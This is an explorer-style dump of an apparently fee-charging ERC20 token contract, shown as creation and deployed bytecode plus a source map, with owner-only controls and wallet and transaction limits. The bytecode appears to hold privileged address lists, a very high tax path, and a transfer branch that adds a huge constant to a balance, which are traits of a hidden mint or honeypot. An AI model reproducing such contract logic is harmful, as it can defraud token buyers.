d60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060088054610605906114d1565b600061069533846106f985604051806060016040528060258152602001611685602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610e37565b6000610695338484610af3565b6008805461085f906114d1565b80601f016020809104026020016040519081016040528092919081815260200182805461088b906114d1565b80156108d85780601f106108ad576101008083540402835291602001916108d8565b820191906000526020600020905b8154815290600101906020018083116108bb57829003601f168201915b505050505081565b60008060006108f184600087610e76565b905060006108ff8683610f52565b96919550909350505050565b6007805461085f906114d1565b6000546001600160a01b031633146109725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610794565b6001600160a01b0381166109d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610794565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a5257506001600160a01b03821615155b610a925760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610794565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610b1f57506006546001600160a01b03838116911614155b8015610b3457506001600160a01b0382163014155b8015610b4e57506017546001600160a01b03838116911614155b8015610b7357506001600160a01b03821660009081526003602052604090205460ff16155b8015610b8d57506000546001600160a01b03848116911614155b15610c08576001600160a01b038216600090815260016020526040902054601254610bb88383611521565b1115610c065760405162461bcd60e51b815260206004820152601860248201527f4d61782077616c6c6574206c696d6974206578636565642100000000000000006044820152606401610794565b505b6000546001600160a01b03848116911614801590610c3457506000546001600160a01b03838116911614155b8015610c7c57506001600160a01b03831660009081526003602052604090205460ff1680610c7a57506001600160a01b03821660009081526003602052604090205460ff165b155b15610cd357601454811115610cd35760405162461bcd60e51b815260206004820152601c60248201527f4d6178207472616e73616374696f6e206c696d742065786365656421000000006044820152606401610794565b601754610ceb908390600160b01b900460ff16610f5e565b15610d04576017805460ff60b01b1916600160b01b1790555b600b5460ff61010082048116911610801590610d2a5750601754600160a01b900460ff16155b8015610d4457506017546001600160a01b03848116911614155b8015610d595750601754600160a81b900460ff165b15610d9857600b805460ff1916905530600090815260016020526040902054601454811115610d8757506014545b8015610d9657610d9681610f88565b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610dda57506001600160a01b03831660009081526005602052604090205460ff165b15610de757506000610e25565b6017546001600160a01b0390811690851603610e0857600d54600c55610e25565b6017546001600160a01b0390811690841603610e2557600e54600c555b610e3184848484610fcd565b50505050565b60008184841115610e5b5760405162461bcd60e51b81526004016107949190611383565b505050900390565b6000610e6f8284611521565b9392505050565b6017546000908190600160b01b900460ff161580610eac57506001600160a01b03851660009081526003602052604090205460ff165b80610ecf57506001600160a01b03851660009081526004602052604090205460ff165b15610efb57610ef46064610eee600c548661103390919063ffffffff16565b9061103f565b9050610f3c565b60408051602080820183526008918290528251908101909252605a91829052610f3991606491610eee91610f2f919061154a565b869060ff16611033565b90505b610f498160ff8616610e63565b95945050505050565b6000610e6f8284611563565b6001600160a01b03821660009081526003602052604081205460ff168015610e6f57505015919050565b6017805460ff60a01b1916600160a01b179055610fa48161104b565b6006544790610fbc906001600160a01b0316826111a5565b50506017805460ff60a01b19169055565b80610fdf57610fda6111e0565b61100c565b600b805460ff16906000610ff283611576565b91906101000a81548160ff021916908360ff160217905550505b611017848484611225565b80610e3157610e31600f54600c55601054600d55601154600e55565b6000610e6f8284611595565b6000610e6f82846115ac565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061108057611080611534565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd91906115ce565b8160018151811061111057611110611534565b6001600160a01b0392831660209182029290920101526016546111369130911684610a32565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061116f9085906000908690309042906004016115eb565b600060405180830381600087803b15801561118957600080fd5b505af115801561119d573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111db573d6000803e3d6000fd5b505050565b600c541580156111f05750600d54155b80156111fc5750600e54155b1561120357565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b60008061123283866108e0565b6001600160a01b038716600090815260016020526040902054919350915061125a9084610f52565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546112899083610e63565b6001600160a01b0385166000908152600160205260408082209290925530815220546112b59082610e63565b306000908152600160209081526040808320939093556001600160a01b038716825260039052205460ff161561132f576113156c0c9f2c9cd04674edea400000006001600160a01b03861660009081526001602052604090205490610e63565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161137491815260200190565b60405180910390a35050505050565b600060208083528351808285015260005b818110156113b057858101830151858201604001528201611394565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113e657600080fd5b50565b600080604083850312156113fc57600080fd5b8235611407816113d1565b946020939093013593505050565b60008060006060848603121561142a57600080fd5b8335611435816113d1565b92506020840135611445816113d1565b929592945050506040919091013590565b60006020828403121561146857600080fd5b8135610e6f816113d1565b6000806040838503121561148657600080fd5b823591506020830135611498816113d1565b809150509250929050565b600080604083850312156114b657600080fd5b82356114c1816113d1565b91506020830135611498816113d1565b600181811c908216806114e557607f821691505b60208210810361150557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156106995761069961150b565b634e487b7160e01b600052603260045260246000fd5b60ff81811683821601908111156106995761069961150b565b818103818111156106995761069961150b565b600060ff821660ff810361158c5761158c61150b565b60010192915050565b80820281158282048414176106995761069961150b565b6000826115c957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156115e057600080fd5b8151610e6f816113d1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561163b5784516001600160a01b031683529383019391830191600101611616565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d98eb553f35c3cef436b38abded9b41f5d01dfc1ee422bb43df059a0941e7b3e64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101d15760003560e01c806378109e54116100f7578063b09f126611610095578063dd62ed3e11610064578063dd62ed3e14610530578063eb6b678014610576578063f2fde38b146105a6578063ffffc962146105c657600080fd5b8063b09f1266146104a1578063cccdbe2e146104b6578063d28d8852146104eb578063dad58cb71461050057600080fd5b806395d89b41116100d157806395d89b4114610436578063a457c2d71461044b578063a9059cbb1461046b578063af465a271461048b57600080fd5b806378109e54146103ec5780637d1db4a5146104025780638da5cb5b1461041857600080fd5b8063313ce5671161016f5780634a74bb021161013e5780634a74bb0214610368578063590f897e1461038957806370a082311461039f578063715018a6146103d557600080fd5b8063313ce567146102f0578063395093511461031257806340b9a54b1461033257806349bd5a5e1461034857600080fd5b806318160ddd116101ab57806318160ddd14610270578063220f66961461028f57806323b872dd146102b05780632ed5726e146102d057600080fd5b806306fdde03146101dd578063095ea7b3146102085780631694505e1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f26105f6565b6040516101ff9190611383565b60405180910390f35b34801561021457600080fd5b506102286102233660046113e9565b610688565b60405190151581526020016101ff565b34801561024457600080fd5b50601654610258906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b34801561027c57600080fd5b50600a545b6040519081526020016101ff565b34801561029b57600080fd5b5060175461022890600160a01b900460ff1681565b3480156102bc57600080fd5b506102286102cb366004611415565b61069f565b3480156102dc57600080fd5b50600654610258906001600160a01b031681565b3480156102fc57600080fd5b5060095460405160ff90911681526020016101ff565b34801561031e57600080fd5b5061022861032d3660046113e9565b610708565b34801561033e57600080fd5b50610281600d5481565b34801561035457600080fd5b50601754610258906001600160a01b031681565b34801561037457600080fd5b5060175461022890600160a81b900460ff1681565b34801561039557600080fd5b50610281600e5481565b3480156103ab57600080fd5b506102816103ba366004611456565b6001600160a01b031660009081526001602052604090205490565b3480156103e157600080fd5b506103ea61073e565b005b3480156103f857600080fd5b5061028160125481565b34801561040e57600080fd5b5061028160145481565b34801561042457600080fd5b506000546001600160a01b0316610258565b34801561044257600080fd5b506101f26107e7565b34801561045757600080fd5b506102286104663660046113e9565b6107f6565b34801561047757600080fd5b506102286104863660046113e9565b610845565b34801561049757600080fd5b50610281600a5481565b3480156104ad57600080fd5b506101f2610852565b3480156104c257600080fd5b506104d66104d1366004611473565b6108e0565b604080519283526020830191909152016101ff565b3480156104f757600080fd5b506101f261090b565b34801561050c57600080fd5b5061022861051b366004611456565b60056020526000908152604090205460ff1681565b34801561053c57600080fd5b5061028161054b3660046114a3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561058257600080fd5b50610228610591366004611456565b60036020526000908152604090205460ff1681565b3480156105b257600080fd5b506103ea6105c1366004611456565b610918565b3480156105d257600080fd5b506102286105e1366004611456565b60046020526000908152604090205460ff1681565b606060078054610605906114d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610631906114d1565b801561067e5780601f106106535761010080835404028352916020019161067e565b820191906000526020600020905b81548152906001019060200180831161066157829003601f168201915b5050505050905090565b6000610695338484610a32565b5060015b92915050565b60006106ac848484610af3565b6106fe84336106f98560405180606001604052806028815260200161165d602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e37565b610a32565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106959185906106f99086610e63565b6000546001600160a01b0316331461079d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060088054610605906114d1565b600061069533846106f985604051806060016040528060258152602001611685602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610e37565b6000610695338484610af3565b6008805461085f906114d1565b80601f016020809104026020016040519081016040528092919081815260200182805461088b906114d1565b80156108d85780601f106108ad576101008083540402835291602001916108d8565b820191906000526020600020905b8154815290600101906020018083116108bb57829003601f168201915b505050505081565b60008060006108f184600087610e76565b905060006108ff8683610f52565b96919550909350505050565b6007805461085f906114d1565b6000546001600160a01b031633146109725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610794565b6001600160a01b0381166109d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610794565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a5257506001600160a01b03821615155b610a925760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610794565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610b1f57506006546001600160a01b03838116911614155b8015610b3457506001600160a01b0382163014155b8015610b4e57506017546001600160a01b03838116911614155b8015610b7357506001600160a01b03821660009081526003602052604090205460ff16155b8015610b8d57506000546001600160a01b03848116911614155b15610c08576001600160a01b038216600090815260016020526040902054601254610bb88383611521565b1115610c065760405162461bcd60e51b815260206004820152601860248201527f4d61782077616c6c6574206c696d6974206578636565642100000000000000006044820152606401610794565b505b6000546001600160a01b03848116911614801590610c3457506000546001600160a01b03838116911614155b8015610c7c57506001600160a01b03831660009081526003602052604090205460ff1680610c7a57506001600160a01b03821660009081526003602052604090205460ff165b155b15610cd357601454811115610cd35760405162461bcd60e51b815260206004820152601c60248201527f4d6178207472616e73616374696f6e206c696d742065786365656421000000006044820152606401610794565b601754610ceb908390600160b01b900460ff16610f5e565b15610d04576017805460ff60b01b1916600160b01b1790555b600b5460ff61010082048116911610801590610d2a5750601754600160a01b900460ff16155b8015610d4457506017546001600160a01b03848116911614155b8015610d595750601754600160a81b900460ff165b15610d9857600b805460ff1916905530600090815260016020526040902054601454811115610d8757506014545b8015610d9657610d9681610f88565b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610dda57506001600160a01b03831660009081526005602052604090205460ff165b15610de757506000610e25565b6017546001600160a01b0390811690851603610e0857600d54600c55610e25565b6017546001600160a01b0390811690841603610e2557600e54600c555b610e3184848484610fcd565b50505050565b60008184841115610e5b5760405162461bcd60e51b81526004016107949190611383565b505050900390565b6000610e6f8284611521565b9392505050565b6017546000908190600160b01b900460ff161580610eac57506001600160a01b03851660009081526003602052604090205460ff165b80610ecf57506001600160a01b03851660009081526004602052604090205460ff165b15610efb57610ef46064610eee600c548661103390919063ffffffff16565b9061103f565b9050610f3c565b60408051602080820183526008918290528251908101909252605a91829052610f3991606491610eee91610f2f919061154a565b869060ff16611033565b90505b610f498160ff8616610e63565b95945050505050565b6000610e6f8284611563565b6001600160a01b03821660009081526003602052604081205460ff168015610e6f57505015919050565b6017805460ff60a01b1916600160a01b179055610fa48161104b565b6006544790610fbc906001600160a01b0316826111a5565b50506017805460ff60a01b19169055565b80610fdf57610fda6111e0565b61100c565b600b805460ff16906000610ff283611576565b91906101000a81548160ff021916908360ff160217905550505b611017848484611225565b80610e3157610e31600f54600c55601054600d55601154600e55565b6000610e6f8284611595565b6000610e6f82846115ac565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061108057611080611534565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd91906115ce565b8160018151811061111057611110611534565b6001600160a01b0392831660209182029290920101526016546111369130911684610a32565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061116f9085906000908690309042906004016115eb565b600060405180830381600087803b15801561118957600080fd5b505af115801561119d573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111db573d6000803e3d6000fd5b505050565b600c541580156111f05750600d54155b80156111fc5750600e54155b1561120357565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b60008061123283866108e0565b6001600160a01b038716600090815260016020526040902054919350915061125a9084610f52565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546112899083610e63565b6001600160a01b0385166000908152600160205260408082209290925530815220546112b59082610e63565b306000908152600160209081526040808320939093556001600160a01b038716825260039052205460ff161561132f576113156c0c9f2c9cd04674edea400000006001600160a01b03861660009081526001602052604090205490610e63565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161137491815260200190565b60405180910390a35050505050565b600060208083528351808285015260005b818110156113b057858101830151858201604001528201611394565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113e657600080fd5b50565b600080604083850312156113fc57600080fd5b8235611407816113d1565b946020939093013593505050565b60008060006060848603121561142a57600080fd5b8335611435816113d1565b92506020840135611445816113d1565b929592945050506040919091013590565b60006020828403121561146857600080fd5b8135610e6f816113d1565b6000806040838503121561148657600080fd5b823591506020830135611498816113d1565b809150509250929050565b600080604083850312156114b657600080fd5b82356114c1816113d1565b91506020830135611498816113d1565b600181811c908216806114e557607f821691505b60208210810361150557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156106995761069961150b565b634e487b7160e01b600052603260045260246000fd5b60ff81811683821601908111156106995761069961150b565b818103818111156106995761069961150b565b600060ff821660ff810361158c5761158c61150b565b60010192915050565b80820281158282048414176106995761069961150b565b6000826115c957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156115e057600080fd5b8151610e6f816113d1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561163b5784516001600160a01b031683529383019391830191600101611616565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d98eb553f35c3cef436b38abded9b41f5d01dfc1ee422bb43df059a0941e7b3e64736f6c63430008130033

Deployed Bytecode Sourcemap

13971:9088:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16409:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17244:161;;;;;;;;;;-1:-1:-1;17244:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17244:161:0;1023:187:1;15246:41:0;;;;;;;;;;-1:-1:-1;15246:41:0;;;;-1:-1:-1;;;;;15246:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;15246:41:0;1215:230:1;16686:95:0;;;;;;;;;;-1:-1:-1;16766:7:0;;16686:95;;;1596:25:1;;;1584:2;1569:18;16686:95:0;1450:177:1;15329:28:0;;;;;;;;;;-1:-1:-1;15329:28:0;;;;-1:-1:-1;;;15329:28:0;;;;;;17413:313;;;;;;;;;;-1:-1:-1;17413:313:0;;;;;:::i;:::-;;:::i;14391:87::-;;;;;;;;;;-1:-1:-1;14391:87:0;;;;-1:-1:-1;;;;;14391:87:0;;;16595:83;;;;;;;;;;-1:-1:-1;16661:9:0;;16595:83;;16661:9;;;;2459:36:1;;2447:2;2432:18;16595:83:0;2317:184:1;17734:218:0;;;;;;;;;;-1:-1:-1;17734:218:0;;;;;:::i;:::-;;:::i;14771:26::-;;;;;;;;;;;;;;;;15294:28;;;;;;;;;;-1:-1:-1;15294:28:0;;;;-1:-1:-1;;;;;15294:28:0;;;15364:40;;;;;;;;;;-1:-1:-1;15364:40:0;;;;-1:-1:-1;;;15364:40:0;;;;;;14804:27;;;;;;;;;;;;;;;;16789:121;;;;;;;;;;-1:-1:-1;16789:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;16882:20:0;16855:7;16882:20;;;:11;:20;;;;;;;16789:121;5754:148;;;;;;;;;;;;;:::i;:::-;;14994:57;;;;;;;;;;;;;;;;15124:54;;;;;;;;;;;;;;;;5531:87;;;;;;;;;;-1:-1:-1;5577:7:0;5604:6;-1:-1:-1;;;;;5604:6:0;5531:87;;16500;;;;;;;;;;;;;:::i;17960:269::-;;;;;;;;;;-1:-1:-1;17960:269:0;;;;;:::i;:::-;;:::i;16918:167::-;;;;;;;;;;-1:-1:-1;16918:167:0;;;;;:::i;:::-;;:::i;14604:51::-;;;;;;;;;;;;;;;;14529:34;;;;;;;;;;;;;:::i;22782:274::-;;;;;;;;;;-1:-1:-1;22782:274:0;;;;;:::i;:::-;;:::i;:::-;;;;3460:25:1;;;3516:2;3501:18;;3494:34;;;;3433:18;22782:274:0;3286:248:1;14487:35:0;;;;;;;;;;;;;:::i;14334:44::-;;;;;;;;;;-1:-1:-1;14334:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17093:143;;;;;;;;;;-1:-1:-1;17093:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17201:18:0;;;17174:7;17201:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;17093:143;14229:42;;;;;;;;;;-1:-1:-1;14229:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5910:244;;;;;;;;;;-1:-1:-1;5910:244:0;;;;;:::i;:::-;;:::i;14278:49::-;;;;;;;;;;-1:-1:-1;14278:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16409:83;16446:13;16479:5;16472:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16409:83;:::o;17244:161::-;17319:4;17336:39;1760:10;17359:7;17368:6;17336:8;:39::i;:::-;-1:-1:-1;17393:4:0;17244:161;;;;;:::o;17413:313::-;17511:4;17528:36;17538:6;17546:9;17557:6;17528:9;:36::i;:::-;17575:121;17584:6;1760:10;17606:89;17644:6;17606:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17606:19:0;;;;;;:11;:19;;;;;;;;1760:10;17606:33;;;;;;;;;;:37;:89::i;:::-;17575:8;:121::i;:::-;-1:-1:-1;17714:4:0;17413:313;;;;;:::o;17734:218::-;1760:10;17822:4;17871:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17871:34:0;;;;;;;;;;17822:4;;17839:83;;17862:7;;17871:50;;17910:10;17871:38;:50::i;5754:148::-;5577:7;5604:6;-1:-1:-1;;;;;5604:6:0;1760:10;5666:23;5658:68;;;;-1:-1:-1;;;5658:68:0;;4519:2:1;5658:68:0;;;4501:21:1;;;4538:18;;;4531:30;4597:34;4577:18;;;4570:62;4649:18;;5658:68:0;;;;;;;;;5861:1:::1;5845:6:::0;;5824:40:::1;::::0;-1:-1:-1;;;;;5845:6:0;;::::1;::::0;5824:40:::1;::::0;5861:1;;5824:40:::1;5892:1;5875:19:::0;;-1:-1:-1;;;;;;5875:19:0::1;::::0;;5754:148::o;16500:87::-;16539:13;16572:7;16565:14;;;;;:::i;17960:269::-;18053:4;18070:129;1760:10;18093:7;18102:96;18141:15;18102:96;;;;;;;;;;;;;;;;;1760:10;18102:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18102:34:0;;;;;;;;;;;;:38;:96::i;16918:167::-;16996:4;17013:42;1760:10;17037:9;17048:6;17013:9;:42::i;14529:34::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;22782:274::-;22859:7;22868;22888:17;22908:37;22926:6;22934:1;22937:7;22908:17;:37::i;:::-;22888:57;-1:-1:-1;22956:22:0;22981;:7;22888:57;22981:11;:22::i;:::-;22956:47;23038:9;;-1:-1:-1;22782:274:0;;-1:-1:-1;;;;22782:274:0:o;14487:35::-;;;;;;;:::i;5910:244::-;5577:7;5604:6;-1:-1:-1;;;;;5604:6:0;1760:10;5666:23;5658:68;;;;-1:-1:-1;;;5658:68:0;;4519:2:1;5658:68:0;;;4501:21:1;;;4538:18;;;4531:30;4597:34;4577:18;;;4570:62;4649:18;;5658:68:0;4317:356:1;5658:68:0;-1:-1:-1;;;;;5999:22:0;::::1;5991:73;;;::::0;-1:-1:-1;;;5991:73:0;;4880:2:1;5991:73:0::1;::::0;::::1;4862:21:1::0;4919:2;4899:18;;;4892:30;4958:34;4938:18;;;4931:62;-1:-1:-1;;;5009:18:1;;;5002:36;5055:19;;5991:73:0::1;4678:402:1::0;5991:73:0::1;6101:6;::::0;;6080:38:::1;::::0;-1:-1:-1;;;;;6080:38:0;;::::1;::::0;6101:6;::::1;::::0;6080:38:::1;::::0;::::1;6129:6;:17:::0;;-1:-1:-1;;;;;;6129:17:0::1;-1:-1:-1::0;;;;;6129:17:0;;;::::1;::::0;;;::::1;::::0;;5910:244::o;19365:262::-;-1:-1:-1;;;;;19458:19:0;;;;;;:44;;-1:-1:-1;;;;;;19481:21:0;;;;19458:44;19450:74;;;;-1:-1:-1;;;19450:74:0;;5287:2:1;19450:74:0;;;5269:21:1;5326:2;5306:18;;;5299:30;-1:-1:-1;;;5345:18:1;;;5338:47;5402:18;;19450:74:0;5085:341:1;19450:74:0;-1:-1:-1;;;;;19535:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;19587:32;;1596:25:1;;;19587:32:0;;1569:18:1;19587:32:0;;;;;;;19365:262;;;:::o;19635:1389::-;5577:7;5604:6;-1:-1:-1;;;;;19755:13:0;;;5604:6;;19755:13;;;;:33;;-1:-1:-1;19778:10:0;;-1:-1:-1;;;;;19772:16:0;;;19778:10;;19772:16;;19755:33;:56;;;;-1:-1:-1;;;;;;19792:19:0;;19806:4;19792:19;;19755:56;:79;;;;-1:-1:-1;19821:13:0;;-1:-1:-1;;;;;19815:19:0;;;19821:13;;19815:19;;19755:79;:97;;;;-1:-1:-1;;;;;;19839:13:0;;;;;;:9;:13;;;;;;;;19838:14;19755:97;:116;;;;-1:-1:-1;5577:7:0;5604:6;-1:-1:-1;;;;;19856:15:0;;;5604:6;;19856:15;;19755:116;19751:286;;;-1:-1:-1;;;;;16882:20:0;;19887:24;16882:20;;;:11;:20;;;;;;19981:15;;19951:25;19970:6;16882:20;19951:25;:::i;:::-;19950:46;;19942:83;;;;-1:-1:-1;;;19942:83:0;;5895:2:1;19942:83:0;;;5877:21:1;5934:2;5914:18;;;5907:30;5973:26;5953:18;;;5946:54;6017:18;;19942:83:0;5693:348:1;19942:83:0;19872:165;19751:286;5577:7;5604:6;-1:-1:-1;;;;;20061:15:0;;;5604:6;;20061:15;;;;:32;;-1:-1:-1;5577:7:0;5604:6;-1:-1:-1;;;;;20080:13:0;;;5604:6;;20080:13;;20061:32;:71;;;;-1:-1:-1;;;;;;20099:15:0;;;;;;:9;:15;;;;;;;;;:32;;-1:-1:-1;;;;;;20118:13:0;;;;;;:9;:13;;;;;;;;20099:32;20097:35;20061:71;20057:166;;;20166:12;;20156:6;:22;;20148:63;;;;-1:-1:-1;;;20148:63:0;;6248:2:1;20148:63:0;;;6230:21:1;6287:2;6267:18;;;6260:30;6326;6306:18;;;6299:58;6374:18;;20148:63:0;6046:352:1;20148:63:0;20249:17;;20236:31;;20245:2;;-1:-1:-1;;;20249:17:0;;;;20236:8;:31::i;:::-;20233:62;;;20270:17;:22;;-1:-1:-1;;;;20270:22:0;-1:-1:-1;;;20270:22:0;;;20233:62;20319:11;;;;;;;;20308:7;;:22;;;;:43;;-1:-1:-1;20335:16:0;;-1:-1:-1;;;20335:16:0;;;;20334:17;20308:43;:68;;;;-1:-1:-1;20363:13:0;;-1:-1:-1;;;;;20355:21:0;;;20363:13;;20355:21;;20308:68;:93;;;;-1:-1:-1;20380:21:0;;-1:-1:-1;;;20380:21:0;;;;20308:93;20305:409;;;20420:7;:11;;-1:-1:-1;;20420:11:0;;;20495:4;-1:-1:-1;16882:20:0;;;-1:-1:-1;16882:20:0;;;;;;20542:12;;20519:35;;20516:78;;;-1:-1:-1;20580:12:0;;20516:78;20611:24;;20608:95;;20651:36;20666:20;20651:14;:36::i;:::-;20403:311;20305:409;-1:-1:-1;;;;;20778:17:0;;20734:12;20778:17;;;:11;:17;;;;;;20749:4;;20778:17;;;:36;;-1:-1:-1;;;;;;20799:15:0;;;;;;:11;:15;;;;;;;;20778:36;20775:187;;;-1:-1:-1;20840:5:0;20775:187;;;20875:13;;-1:-1:-1;;;;;20875:13:0;;;20867:21;;;;20863:99;;20901:7;;20890:8;:18;20863:99;;;20926:13;;-1:-1:-1;;;;;20926:13:0;;;20920:19;;;;20916:46;;20952:8;;20941;:19;20916:46;20982:34;20993:4;20998:2;21001:6;21008:7;20982:10;:34::i;:::-;19738:1286;19635:1389;;;:::o;1211:206::-;1297:7;1358:12;1350:6;;;;1342:29;;;;-1:-1:-1;;;1342:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1393:5:0;;;1211:206::o;783:98::-;841:7;868:5;872:1;868;:5;:::i;:::-;861:12;783:98;-1:-1:-1;;;783:98:0:o;18966:391::-;19115:17;;19061:7;;;;-1:-1:-1;;;19115:17:0;;;;19114:18;;:42;;-1:-1:-1;;;;;;19136:20:0;;;;;;:9;:20;;;;;;;;19114:42;:73;;;-1:-1:-1;;;;;;19160:27:0;;;;;;:16;:27;;;;;;;;19114:73;19111:203;;;19214:29;19239:3;19214:20;19225:8;;19214:6;:10;;:20;;;;:::i;:::-;:24;;:29::i;:::-;19203:40;;19111:203;;;19293:8;;;;;;;;;19294:3;19293:8;;;;19283:9;;;;;;;;19284:4;19283:9;;;;19271:41;;19308:3;;19271:32;;19283:18;;19294:3;19283:18;:::i;:::-;19271:6;;:32;;:10;:32::i;:41::-;19260:52;;19111:203;19331:18;:8;:18;;;:12;:18::i;:::-;19324:25;18966:391;-1:-1:-1;;;;;18966:391:0:o;889:98::-;947:7;974:5;978:1;974;:5;:::i;18672:117::-;-1:-1:-1;;;;;18758:13:0;;18735:4;18758:13;;;:9;:13;;;;;;;;:23;;;;-1:-1:-1;;18775:6:0;;18672:117;-1:-1:-1;18672:117:0:o;21152:232::-;15690:16;:23;;-1:-1:-1;;;;15690:23:0;-1:-1:-1;;;15690:23:0;;;21237:38:::1;21254:20:::0;21237:16:::1;